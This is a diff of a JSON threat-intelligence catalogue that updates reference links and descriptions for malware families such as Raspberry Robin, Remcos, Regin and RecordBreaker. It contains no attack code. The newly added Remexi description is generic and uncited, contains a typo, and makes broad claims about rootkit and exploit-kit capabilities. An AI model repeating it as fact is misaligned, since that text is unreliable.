"https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", "https://redcanary.com/blog/raspberry-robin/", + "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", "https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", "https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices", "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", - "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/", - "https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks" + "https://www.huntress.com/blog/evolution-of-usb-borne-malware-raspberry-robin", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/" ], "synonyms": [ "LINK_MSIEXEC", @@ -40384,16 +42278,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", + "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0", - "https://content.fireeye.com/apt/rpt-apt38", "https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/", + "https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf", + "https://twitter.com/PhysicalDrive0/status/828915536268492800", + "https://content.fireeye.com/apt/rpt-apt38", + "http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html", + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", "https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware", - "https://twitter.com/PhysicalDrive0/status/828915536268492800", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", + "https://community.broadcom.com/symantecenterprise/viewdocument/attackers-target-dozens-of-global-b" ], "synonyms": [ "QUICKRIDE" @@ -40408,6 +42304,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos", + "https://securelist.com/lazarus-under-the-hood/77908/", "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", "http://blog.trex.re.kr/3" ], @@ -40424,9 +42321,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel", + "https://github.com/FrenchCisco/RATel", "https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966", - "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", - "https://github.com/FrenchCisco/RATel" + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" ], "synonyms": [], "type": [] @@ -40439,8 +42336,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratsnif", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-ratsnif-new-network-vermin-from-oceanlotus.html", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-ratsnif-new-network-vermin-from-oceanlotus.html" ], "synonyms": [], "type": [] @@ -40453,9 +42350,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos", - "http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite", + "https://www.youtube.com/watch?v=fevGZs0EQu8", "https://threatvector.cylance.com/en_us/home/rawpos-malware.html", - "https://www.youtube.com/watch?v=fevGZs0EQu8" + "http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite" ], "synonyms": [], "type": [] @@ -40495,17 +42392,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs", - "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/", - "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", - "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", - "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", - "https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf", - "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", - "https://www.f-secure.com/documents/996508/1030745/callisto-group", "https://www.vice.com/en_us/article/jgxvdx/jan-marsalek-wirecard-bizarre-attempt-to-buy-hacking-team-spyware", - "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/" + "https://www.f-secure.com/documents/996508/1030745/callisto-group", + "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", + "https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/", + "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/", + "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/", + "https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf", + "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", + "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", + "http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html" ], "synonyms": [ "Crisis", @@ -40548,8 +42445,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf", - "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", - "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/" + "https://unit42.paloaltonetworks.com/atoms/evasive-serpens/", + "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/" ], "synonyms": [ "GREYSTUFF" @@ -40564,10 +42461,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot", - "http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/", - "http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html", "http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html", - "https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under" + "http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html", + "https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under", + "http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/" ], "synonyms": [], "type": [] @@ -40594,18 +42491,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker", - "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", - "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://socprime.com/blog/raccoon-stealer-detection-a-novel-malware-version-2-0-named-recordbreaker-offers-hackers-advanced-password-stealing-capabilities/", - "https://d01a.github.io/raccoon-stealer/", - "https://www.youtube.com/watch?v=NI_Yw2t9zoo", - "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", - "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", "https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8", + "https://malwarebookreports.com/the-trash-panda-reemerges-from-the-dumpster-raccoon-stealer-v2/", + "https://d01a.github.io/raccoon-stealer/", + "https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon", + "https://www.youtube.com/watch?v=NI_Yw2t9zoo", "https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family", - "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/" + "https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/", + "https://asec.ahnlab.com/en/52072/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://socprime.com/blog/raccoon-stealer-detection-a-novel-malware-version-2-0-named-recordbreaker-offers-hackers-advanced-password-stealing-capabilities/", + "https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [], "type": [] @@ -40626,27 +42526,66 @@ "uuid": "6be9eee4-ee99-4ad6-bee3-2365d7b37a88", "value": "RedAlpha" }, + { + "description": "According to Trend Micro, this backdoor receives valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcap", + "https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c1ba2ad1-70d9-4833-ac15-18fb8d0a2408", + "value": "RedCap" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl", + "https://go.group-ib.com/report-redcurl-awakening-en" + ], + "synonyms": [], + "type": [] + }, + "uuid": "913d3007-9c2b-4c1c-b3a6-2ecb736bc338", + "value": "RedCurl" + }, + { + "description": "According to Zscaler ThreatLabz, RedEnergy stealer uses a fake update campaign to target multiple industry verticals and possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities.The name of the malware was kept due to the common method names observed during the analysis.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.redenergy_stealer", + "https://www.zscaler.com/blogs/security-research/ransomware-redefined-redenergy-stealer-ransomware-attacks" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b5cbe5c8-8cda-43af-bd67-99dcbd9e0dbf", + "value": "RedEnergy Stealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves", - "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", - "https://community.rsa.com/community/products/netwitness/blog/2017/05/03/hunting-pack-use-case-redleaves-malware", - "https://www.carbonblack.com/2017/05/09/carbon-black-threat-research-dissects-red-leaves-malware-leverages-dll-side-loading/", - "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", - "https://www.jpcert.or.jp/magazine/acreport-redleaves.html", - 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+42820,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg", - "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", - "https://github.com/sensepost/reGeorg", - "https://sensepost.com/discover/tools/reGeorg/", "https://www.secureworks.com/blog/ransomware-deployed-by-adversary", "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF", "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://www.welivesecurity.com/2022/09/06/worok-big-picture/" + "https://sensepost.com/discover/tools/reGeorg/", + "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/", + "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", + "https://www.welivesecurity.com/2022/09/06/worok-big-picture/", + "https://github.com/sensepost/reGeorg" ], "synonyms": [], "type": [] @@ -40894,12 +42841,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin", "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://www.epicturla.com/previous-works/hitb2020-voltron-sta", - "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", "https://www.youtube.com/watch?v=jeLd-gw2bWo", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", + "https://www.epicturla.com/previous-works/hitb2020-voltron-sta", "https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf", "https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/" ], "synonyms": [], @@ -40909,13 +42856,13 @@ "value": "Regin" }, { - "description": "", + "description": "According to PCrisk, RegretLocker is malicious software classified as ransomware. Systems infected with this malware have their data encrypted and users receive ransom demands for decryption. During the encryption process, all affected files are appended with the \".mouse\" extension.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker", - "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/", + "https://twitter.com/malwrhunterteam/status/1321375502179905536", "https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/", - "https://twitter.com/malwrhunterteam/status/1321375502179905536" + "http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/" ], "synonyms": [], "type": [] @@ -40943,8 +42890,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew", - "https://www.mandiant.com/resources/fin13-cybercriminal-mexico", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/" + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.mandiant.com/resources/fin13-cybercriminal-mexico" ], "synonyms": [ "tinyshell.win", @@ -41017,85 +42964,90 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos", - "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://blog.morphisec.com/nft-malware-new-evasion-abilities", - "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://muha2xmad.github.io/unpacking/remcos/", - "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://www.esentire.com/blog/remcos-rat", - "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", - "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", - "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", - "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", - "https://secrary.com/ReversingMalware/RemcosRAT/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", - 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"https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "http://malware-traffic-analysis.net/2017/12/22/index.html", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", - "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", - "https://asec.ahnlab.com/en/32376/", - "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", - "https://www.telsy.com/download/4832/", - "https://www.connectwise.com/resources/formbook-remcos-rat", - "https://intel471.com/blog/privateloader-malware", - "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://asec.ahnlab.com/ko/25837/", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://dissectingmalwa.re/malicious-ratatouille.html", - "https://asec.ahnlab.com/ko/32101/", - "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", - "https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html", - "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/", - "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://perception-point.io/behind-the-attack-remcos-rat/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", - "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", - "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", - "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", - "https://www.youtube.com/watch?v=DIH4SvKuktM", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html", + "https://research.checkpoint.com/2023/unveiling-the-shadows-the-dark-alliance-between-guloader-and-remcos/", "https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", - "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", "https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.trellix.com/en-us/about/newsroom/stories/research/cyberattacks-targeting-ukraine-increase.html", + "https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/", + "https://www.telsy.com/download/4832/", + "https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD", + "https://www.jaiminton.com/reverse-engineering/remcos#", + "https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/", + "https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns", + "https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://www.youtube.com/watch?v=DIH4SvKuktM", + "https://perception-point.io/behind-the-attack-remcos-rat/", + "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/", + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", + "https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses", + "https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://asec.ahnlab.com/ko/25837/", + "https://muha2xmad.github.io/mal-document/remcosdoc/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing", + "https://blog.morphisec.com/nft-malware-new-evasion-abilities", + "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/", + "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", + "https://intel471.com/blog/privateloader-malware", + "https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://dissectingmalwa.re/malicious-ratatouille.html", + "http://malware-traffic-analysis.net/2017/12/22/index.html", + "https://www.connectwise.com/resources/formbook-remcos-rat", + "https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html", + "https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.esentire.com/blog/remcos-rat", "https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87", - "https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/" + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", + "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", + "https://muha2xmad.github.io/unpacking/remcos/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://asec.ahnlab.com/en/32376/", + "https://asec.ahnlab.com/ko/32101/", + "https://secrary.com/ReversingMalware/RemcosRAT/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://www.microsoft.com/en-us/security/blog/2023/04/13/threat-actors-strive-to-cause-tax-day-headaches/", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html", + "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", + "https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly", + "https://gi7w0rm.medium.com/cloudeye-from-lnk-to-shellcode-4b5f1d6d877" ], "synonyms": [ "RemcosRAT", @@ -41108,18 +43060,18 @@ "value": "Remcos" }, { - "description": "", + "description": "Remexi is a highly advanced and stealthy malware discovered in recent times. It employs sophisticated evasion techniques to infiltrate target systems and networks undetected. This malware utilizes various propagation vectors, including exploit kits, social engineering tactics, and compromised websites. Once inside a system, Remexi establishes persistence through rootkit capabilities and leverages coAmmand-and-control infrastructure to receive and execute malicious commands. It possesses keylogging and data exfiltration capabilities, enabling it to steal sensitive information such as login credentials and financial data. Additionally, Remexi can download and execute additional payloads, making it adaptable and capable of evolving its malicious activities over time.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi", + 